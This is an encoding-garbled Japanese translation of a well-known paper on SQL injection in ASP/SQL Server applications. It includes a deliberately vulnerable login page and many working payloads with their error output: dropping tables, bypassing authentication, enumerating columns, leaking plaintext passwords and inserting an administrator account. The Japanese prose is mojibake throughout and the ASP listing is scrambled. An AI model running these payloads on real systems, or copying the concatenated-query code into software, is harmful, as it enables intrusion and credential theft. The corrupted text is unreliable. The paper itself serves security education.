翻蚳è
ã®ã¡ã¢
ãã®äœæ¥ã¯ãChris Anley
SQL Server Applicationsã®é«åºŠãªSQLã€ã³ãžã§ã¯ã·ã§ã³ã®äœæ¥ã®äžéšã翻蚳ãããã®ã§ã
ã ïŒ
çŽæ¥ããŠã³ããŒããªã³ã¯ ïŒ
åŸç¶ã®èšäºã§ã空ãæéãããã°ããã®è»¢éã¯å®äºããŸãã
PSã®ç¿»èš³ã¯ãæè²ãæŽå²çãªç®çã«ãšã£ãŠããèå³æ·±ããã®ã«ãªããŸãã
èšäºã®å
ã®ã¿ã€ãã«ïŒSQLèšèªã䜿çšããã¢ããªã±ãŒã·ã§ã³ã§ã®é«åºŠãªSQLã€ã³ãžã§ã¯ã·ã§ã³ã
泚é
ãã®èšäºã§ã¯ãMicrosoft Internet Information Server / Active Server Pages / SQL Serverãã©ãããã©ãŒã ã§ããç¥ãããŠãããSQLã€ã³ãžã§ã¯ã·ã§ã³ãã®äžè¬çãªæ¹æ³ã«ã€ããŠè©³ãã説æããŸãã ã¢ããªã±ãŒã·ã§ã³ã§ã®SQLã€ã³ãžã§ã¯ã·ã§ã³ã®ããŸããŸãªäœ¿çšæ¹æ³ã«ã€ããŠèª¬æããããŒã¿æ€èšŒæè¡ãããã³ã€ã³ãžã§ã¯ã·ã§ã³ã䜿çšã§ããããŒã¿ããŒã¹ã®ä¿è·ã«ã€ããŠèª¬æããŸãã
ã¯ããã«
æ§é åç
§äŒèšèªïŒSQLïŒã¯ãããŒã¿ããŒã¹ãšã®å¯Ÿè©±ã«äœ¿çšãããæ§é åèšèªã§ãã SQLèšèªã«ã¯å€ãã®ãæ¹èšãããããŸãããä»æ¥ã§ã¯ãåºæ¬çã«ããããã¯ãã¹ãŠãæãåæã®ANSIæšæºã®1ã€ã§ããSQL-92æšæºã«åºã¥ããŠæ§ç¯ãããŠããŸãã ã¡ã€ã³ã®SQLæäœãããã¯ã¯ã¯ãšãªã§ããã¯ãšãªã¯ãéåžžçµæã®ã³ã¬ã¯ã·ã§ã³ïŒçµæã»ããïŒãè¿ãåŒã®ã³ã¬ã¯ã·ã§ã³ã§ãã SQLåŒã¯ãããŒã¿ããŒã¹ã®æ§é ãå€æŽãïŒããŒã¿å®çŸ©èšèªã®åŒã䜿çšããŠ-DLLïŒããã®å
容ã管çã§ããŸãïŒããŒã¿æäœèšèªã®åŒã䜿çšããŠ-DMLïŒã ãã®ãã¯ã€ãããŒããŒã§ã¯ãMicrosoft SQL Serverã§äœ¿çšãããtransact-SQLã«ã€ããŠèª¬æããŸãã
æ»æè
ãSQLã³ãŒããã¯ãšãªã«è²Œãä»ããŠãã¢ããªã±ãŒã·ã§ã³ã«éä¿¡ãããããŒã¿ãå¶åŸ¡ã§ããå ŽåãSQLã€ã³ãžã§ã¯ã·ã§ã³ãå¯èœã§ãã
éåžžã®SQLã¹ããŒãã¡ã³ãã¯æ¬¡ã®ããã«ãªããŸãã
select id, forename, surname from authors
ãã®åŒã¯ããauthorsãããŒãã«ã®åãããidãããforenameããããã³ãsurnameããååŸããããŒãã«å
ã®ãã¹ãŠã®è¡ãè¿ããŸãã éžæã¯ãç¹å®ã®ãèè
ãã«ãã£ãŠå¶éãããå ŽåããããŸãã次ã«äŸã瀺ããŸãã
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
ãã®ã¯ãšãªæååãªãã©ã«ã¯äžéåŒçšç¬Šã§åºåãããŠããããšã«æ³šæããŠãã ããã ãforenameããšãsurrnameãã¯ãŠãŒã¶ãŒå
¥åã§ãããšæ³å®ãããŠããŸãã ãã®å Žåãæ»æè
ã¯ã¢ããªã±ãŒã·ã§ã³ã«ç¬èªã®å€ãè¿œå ããããšã«ãããç¬èªã®SQLã¯ãšãªãäœæã§ããŸãã äŸïŒ
<source lang="html"> Forename: jo'hn Surname: smith
ãã®åŸãåŒã¯æ¬¡ã®åœ¢åŒãåããŸãã
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
ããŒã¿ããŒã¹ããã®ãããªãªã¯ãšã¹ããåŠçããããšãããšã次ã®ãšã©ãŒãè¿ãããŸãã
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'hn'.
ãšã©ãŒã®åå ã¯ãå
¥åãããäžéåŒçšç¬Šããªã¯ãšã¹ãã®ããªãã¿æ§é ãå°ç¡ãã«ããããšã§ãã ãããã£ãŠãããŒã¿ããŒã¹ã¯hnã³ãã³ãã®å®è¡ã«å€±æãããšã©ãŒãçºçããŸãã ãã®çµæãæ»æè
ã次ã®æ
å ±ããã©ãŒã ã«å
¥åããå ŽåïŒ
Forename: jo'; drop table authors
ãauthorsãããŒãã«ã¯åé€ãããŸã;ãããèµ·ããçç±ã¯åŸã§æ€èšããŸãã
å
¥åãã©ãŒã ããäžéåŒçšç¬Šãåé€ããããããã眮æããããšãåé¡ã解決ããå ŽåããããŸãã ãããŠãããªãã¯æ£ããã§ãããããããããã®åé¡ã®è§£æ±ºçãšããŠãã®æ¹æ³ã䜿çšããŠããã€ãã®åé¡ããããŸãã ãŸãããã¹ãŠã®ãŠãŒã¶ãŒå
¥åããæååãã§ã¯ãããŸããã ãŠãŒã¶ãŒãã©ãŒã ã«èè
ã®ãIDããå«ãŸããå Žåãéåžžã¯æ°åã§ãã ããšãã°ãã¯ãšãªã¯æ¬¡ã®ããã«ãªããŸãã
select id, forename, surname from authors where id=1234
ãã®å Žåãã¯ã©ãã«ãŒã¯æ°å€ããŒã¿ã®åŸã«ä»»æã®SQLåŒãèªç±ã«è¿œå ã§ããŸãã ä»ã®çš®é¡ã®SQLã¯ãšãªã§ã¯ãããŸããŸãªåºåãæåã䜿çšãããŸãã ããšãã°ãMicrosoft Jet DBMSã§ã¯ãåºåãæåã¯ãïŒãæåã«ãªããŸãã 第äºã«ãäžéåŒçšç¬Šãããšã¹ã±ãŒããããããšã¯ãæåã¯ããæããããããããŸããããä¿è·ããæãç°¡åãªæ¹æ³ã§ã¯ãããŸããã ããã«ã€ããŠã¯åŸã§è©³ãã説æããŸãã
以äžã¯ãSQLã䜿çšããŠããŒã¿ããŒã¹ã«ã¢ã¯ã»ã¹ããã¢ããªã±ãŒã·ã§ã³å
ã®ãŠãŒã¶ãŒãæ¿èªããActive Server PagesïŒASPïŒããŒã¹ã®ãã°ã€ã³ããŒãžã«åºã¥ãäŸã§ãã
ãŠãŒã¶ãŒåãšãã¹ã¯ãŒããå
¥åããããã°ã€ã³ãã©ãŒã ãå«ãããŒãžã®ã³ãŒãã¯æ¬¡ã®ãšããã§ãã
<HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_login.asp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> </FORM> </FONT> </BODY> </HTML>
以äžã¯ãå
¥åãããããŒã¿ã®æ£ç¢ºãã決å®ããã³ãŒãïŒprocess_login.aspïŒã§ãã
<HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> </script> <script> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ){ var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); %> if (rso.EOF) { rso.close();
<FONT Face='tahoma' color='cc0000'> <H1> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> } else{ %> <% } Response.end return; Session("username") = "" + rso("username"); <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED
Welcome, Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } } cn.close(); Main(); %>
ãã®è匱æ§ã¯ãprocess_login.aspãã«å«ãŸããŠããã次ã®åœ¢åŒã®ãªã¯ãšã¹ããäœæããŸãã
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
ãŠãŒã¶ãŒãå
¥åããå ŽåïŒ
Username: '; drop table users
ããŠãŒã¶ãŒãããŒãã«ãåé€ããããã¹ãŠã®ãŠãŒã¶ãŒã®ã¢ããªã±ãŒã·ã§ã³ãžã®ã¢ã¯ã»ã¹ããããã¯ãããŸãã Transact-SQLã®ã-ãã®çµã¿åããã¯åäžè¡ã®ã³ã¡ã³ããå®çŸ©ããã;ãã¯1è¡ã®çµãããšå¥ã®è¡ã®å§ãŸãã瀺ããŸãã ãã®ãªã¯ãšã¹ãå
ã®2ã€ã®é£ç¶ããããã·ã¥ã¯ããšã©ãŒãªãã§ãªã¯ãšã¹ããå®äºããããã«äœ¿çšãããŸãã
ããã«ãæ»æè
ã¯æ¬¡ã®æ§æã䜿çšããŠãä»»æã®ãŠãŒã¶ãŒåã§ã·ã¹ãã ã«ãã°ã€ã³ã§ããŸãã
Username: admin'--
次ã®æ
å ±ãå
¥åãããšãã¯ã©ãã«ãŒã¯æ¶ç©ºã®ãŠãŒã¶ãŒãšããŠã·ã¹ãã ã«ãã°ã€ã³ã§ããŸãã
Username: ' union select 1, 'fictional_user', 'some_password', 1--
ãã®ã¡ãœããã®æäœæ§ã®çç±ã¯ãã¢ããªã±ãŒã·ã§ã³ããè¿ããããããŒçµæãããŒã¿ããŒã¹ããã®ã¬ã³ãŒãã®ã»ããã§ãããšãä¿¡ãããããã§ãã
ãšã©ãŒã¡ãã»ãŒãžã«åºã¥ããŠæ
å ±ãååŸãã
ãã®ææ³ã®çºæè
ã¯ã䟵å
¥ãã¹ãïŒã»ãã¥ãªãã£ã·ã¹ãã ã®ãã¹ãïŒã®åéã®ç 究è
ã§ããDavid Litchfieldã§ãã ãã€ãããã¯åŸã«ãã®ããŒãã«é¢ããç 究ãæžããŸãã[1]ãããã¯ä»ã®å€ãã®èè
ã«ãã£ãŠåŒçšãããŸããã 圌ã®äœåã¯ããšã©ãŒã¡ãã»ãŒãžã䜿çšããã¡ã«ããºã ãã€ãŸãããšã©ãŒã¡ãã»ãŒãžããã¯ããã¯ã説æããŠããŸãã 圌ã®äœåã§ã¯ã圌ã¯ãã®ãã¯ããã¯ãèªè
ã«å®å
šã«èª¬æãããã®åé¡ã«å¯Ÿãã圌èªèº«ã®ç解ã®çºå±ã«ãããªãæšé²åãäžããŠããŸãã
ããŒã¿ç®¡çãæåãããã«ã¯ãæ»æè
ã¯ã¢ã¯ã»ã¹ãããããŒã¿ããŒã¹ãšããŒãã«ã®æ§é ãç¥ã£ãŠããå¿
èŠããããŸãã ããšãã°ãããŠãŒã¶ãŒãã®ããŒãã«ã¯æ¬¡ã®ã³ãã³ãã䜿çšããŠäœæãããŸããã
create table users( id int, username varchar(255), password varchar(255), privs int )
ãŸãã次ã®ãŠãŒã¶ãŒãå«ãŸããŸãã
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 0, 'guest', 'guest', 0x0000 ) insert into users values( 0, 'chris', 'password', 0x00ff ) insert into users values( 0, 'fred', 'sesame', 0x00ff )
ããã«ãŒãèªåã®ã¬ã³ãŒããããŒãã«ã«æ¿å
¥ããããšããŸãã 圌ããã®æ§é ãç¥ããªããã°æåããå¯èœæ§ã¯äœãã§ãã ããããããšã圌ãæåãããšããŠããprivsãã£ãŒã«ãã®äŸ¡å€ã¯ç解ã§ããªããŸãŸã§ãã æ»æè
ã¯ãã¢ããªã±ãŒã·ã§ã³ã®ç®¡çè
ã¬ãã«ã§ã¢ã¯ã»ã¹ããå¿
èŠãããäžæ¹ã§ãäœãç¹æš©ã§ã¢ã«ãŠã³ããäœæããããšã«ãããã1ãã®å€ãæ¿å
¥ã§ããŸãã
幞ããªããšã«ãããã«ãŒã«ãšã£ãŠã®ãšã©ãŒæã®ASPã®æšæºçãªåäœã¯ããšã©ãŒã«é¢ããã¡ãã»ãŒãžã衚瀺ããããŒã¿ããŒã¹æ§é ãå®å
šã«æ±ºå®ããããšã§ãã¢ããªã±ãŒã·ã§ã³ããŒã¿ããŒã¹ã«ãªã¹ããããŠãããŠãŒã¶ãŒã¢ã«ãŠã³ããããã¹ãŠã®ãã£ãŒã«ãã®å€ãèŠã€ããããšã§ãã
ïŒæ¬¡ã®äŸã§ã¯ãäžèšã®ããŒã¿ããŒã¹ãšaspã¹ã¯ãªããã䜿çšããŠããã®ææ³ã®åäœã瀺ããŸããïŒ
ãŸããæ»æè
ã¯ãã¯ãšãªãæ©èœããããŒãã«ã®ååãšãã£ãŒã«ãã®ååãèšå®ããå¿
èŠããããŸãã ãã®ç®æšãéæããããã«ãæ»æè
ã¯selectåŒã§ãhaveãæ§æã䜿çšããŸãã
Username: ' having 1=1
次ã®ãšã©ãŒãçºçããŸãã
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35
ãããã£ãŠãããŒãã«ã®ååãšãã®ããŒãã«ã®æåã®åã®ååãç¥ã£ãŠããŸãã 以äžã«ç€ºãããã«ããgroup byãæŒç®åã䜿çšããŠãã®æé ãç¶è¡ã§ããŸãã
Username: ' group by users.id having 1=1
ïŒããã«ãããæ°ãããšã©ãŒãçæãããŸãïŒ
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35
ãã®çµæãããã«ãŒã¯æ¬¡ã®ãããªèšèšã«ãªããŸãã
' group by users.id, users.username, users.password, users.privs having 1=1
ããã¯ãšã©ãŒãåŒãèµ·ãããã次ãšåçã§ãïŒ
select * from users where username = ''
ãããã£ãŠãæ»æè
ã¯ããªã¯ãšã¹ãããã®ããŒãã«ããidãusernameãpasswordãprivsãã§ããusersããŒãã«ã«ã®ã¿åœ±é¿ããããšãåŠç¿ããŸãïŒãã®é åºã§ïŒã
ååã§äœ¿çšãããŠããããŒã¿ã®ã¿ã€ãã確èªã§ããå Žåã«åœ¹ç«ã€æ
å ±ã ããŒã¿åã«é¢ããæ
å ±ã¯ãããšãã°æ¬¡ã®ããã«ãåå€æãã䜿çšããŠååŸã§ããŸãã
Username: ' union select sum(username) from users
summïŒïŒã®æå³ã¯ãå€ãæ°å€ã§ãããæåã§ããããå€å¥ããåã«ãSQLãµãŒããŒãå®è¡ãè©Šã¿ãããšã§ãã ããã¹ããã£ãŒã«ãã®ãåèšããèšç®ããããšãããšã次ã®ãšã©ãŒãçºçããŸãã
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35
ããã¯ããŠãŒã¶ãŒåãã£ãŒã«ãã®ããŒã¿åãvarcharã§ããããšã瀺ããŠããŸãã äžæ¹ãæ°å€åã®åèšïŒïŒãèšç®ããããšãããšã2ã€ã®ããã¹ãè¡ã®ã»ããã®æåæ°ãäžèŽããªãããšãéç¥ããã¡ãã»ãŒãžã衚瀺ãããŸãã
Username: ' union select sum(id) from users-- Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35
åæ§ã®ææ³ã䜿çšããŠãããŒã¿ããŒã¹ã«ããã»ãšãã©ãã¹ãŠã®åãããŒãã«ã®ããŒã¿åãå€å¥ã§ããŸãã
ããã¯ãæ»æè
ãé©åã«æ§æããããæ¿å
¥ããªã¯ãšã¹ããäœæããã®ã«åœ¹ç«ã¡ãŸããããšãã°ïŒ
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
ãã ããã¢ã«ãŽãªãºã ã®å¯èœæ§ã®ããã«ãããã§çµããã§ã¯ãããŸããã ããã«ãŒã¯ãç°å¢ãŸãã¯ããŒã¿ããŒã¹èªäœã«é¢ãããšã©ãŒããæçšãªæ
å ±ãååŸã§ããŸãã æšæºãšã©ãŒã®ãªã¹ãã¯ã次ã®æ§æã䜿çšããŠååŸã§ããŸãã
select * from master..sysmessages
ãã®ãªã¯ãšã¹ããå®äºãããšãå€ãã®èå³æ·±ãæ
å ±ãååŸã§ããŸãã
åå€ææ
å ±ã¯ç¹ã«åœ¹ç«ã¡ãŸãã æååãæŽæ°ã«å€æããããšãããšããã¹ãŠã®æååã³ã³ãã³ããå«ãã¡ãã»ãŒãžãè¿ãããŸãã ãã®äŸã§ã¯ããŠãŒã¶ãŒåã®å€æã«ããããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®ããŒãžã§ã³ã ãã§ãªããSQLãµãŒããŒã®ããŒãžã§ã³ãè¿ãããŸãã
Username: ' union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. /process_login.asp, line 35
äžèšã®äŸã§ã¯ãçµã¿èŸŒã¿å®æ°ãå€æããããšããŸã
'@@version'
usersããŒãã«ã®æåã®åã«ã¯ãã®ããŒã¿åããããããæŽæ°å€ã«å€æããŸãã
ãã®ã¡ãœããã䜿çšããŠãããŒã¿ããŒã¹å
ã®ä»»æã®ããŒãã«ã®ä»»æã®å€ãèªã¿åãããšãã§ããŸãã ãããã£ãŠãæ»æè
ããŠãŒã¶ãŒåãšãã¹ã¯ãŒããç¥ãããå Žåãã»ãšãã©ã®å Žåã次ã®æ§é ã䜿çšããŠããŒã¿ãèªã¿åããŸãã
Username: ' union select min(username),1,1,1 from users where username > 'a'
ãusernameãããaããã倧ãããŠãŒã¶ãŒãéžæãããšãã¿ã€ããæŽæ°å€ã«å€æããããšããŸãã
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35
ãããã£ãŠããŠãŒã¶ãŒã®ãªã¹ããååŸãããã®åŸããã¹ã¯ãŒãã®åä¿¡ã«é²ãããšãã§ããŸãã
Username: ' union select password,1,1,1 from users where username = 'admin'-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. /process_login.asp, line 35
ãããšã¬ã¬ã³ããªæ¹æ³ã¯ã1ã€ã®éžæã§ãã¹ãŠã®ãŠãŒã¶ãŒåãšãã¹ã¯ãŒããéžæããããããæŽæ°å€ã«å€æããããšã§ãã Transact-SQLåŒã¯ãæå³ãå€ããã«1è¡ã§åéã§ããããšã«æ³šæããŠãã ããã次ã®äŸãæ€èšããŠãã ããã
begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end
æ»æè
ã次ã®ãŠãŒã¶ãŒåã§ããã°ã€ã³ãããããšã¯æããã§ãã
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end
ãã®ã¯ãšãªã¯ããã¹ãŠã®è¡ãé
眮ãããåäžã®ãretãåãå«ãããŒãã«fooãäœæããŸãã å€ãã®å Žåãäœãæš©éãæã€ãŠãŒã¶ãŒã§ãããããŒã¿ããŒã¹ãŸãã¯äžæããŒã¿ããŒã¹ã«ããŒãã«ãäœæã§ããŸãã
ãããã£ãŠãæ»æè
ã¯åã®äŸã®ããã«ããã®ããŒãã«ãããã¹ãŠã®è¡ãéžæã§ããŸãã
Username: ' union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. /process_login.asp, line 35
ãããŠããã¬ãŒã¹ã«æ°ã¥ããåŸãããŒãã«ãåé€ããŸãïŒ
Username: '; drop table foo
äžèšã®äŸã¯ããã®ã¢ã«ãŽãªãºã ãæäŸãããã¹ãŠã®æè»æ§ã瀺ããŠããŸãã æ»æè
ãããŒã¿ããŒã¹ãžã®ã¢ã¯ã»ã¹äžã«ãšã©ãŒãçºçãããå Žåã圌ãã®äœæ¥ã¯å€§å¹
ã«ç°¡çŽ åããããšèšãå¿
èŠã¯ãããŸããã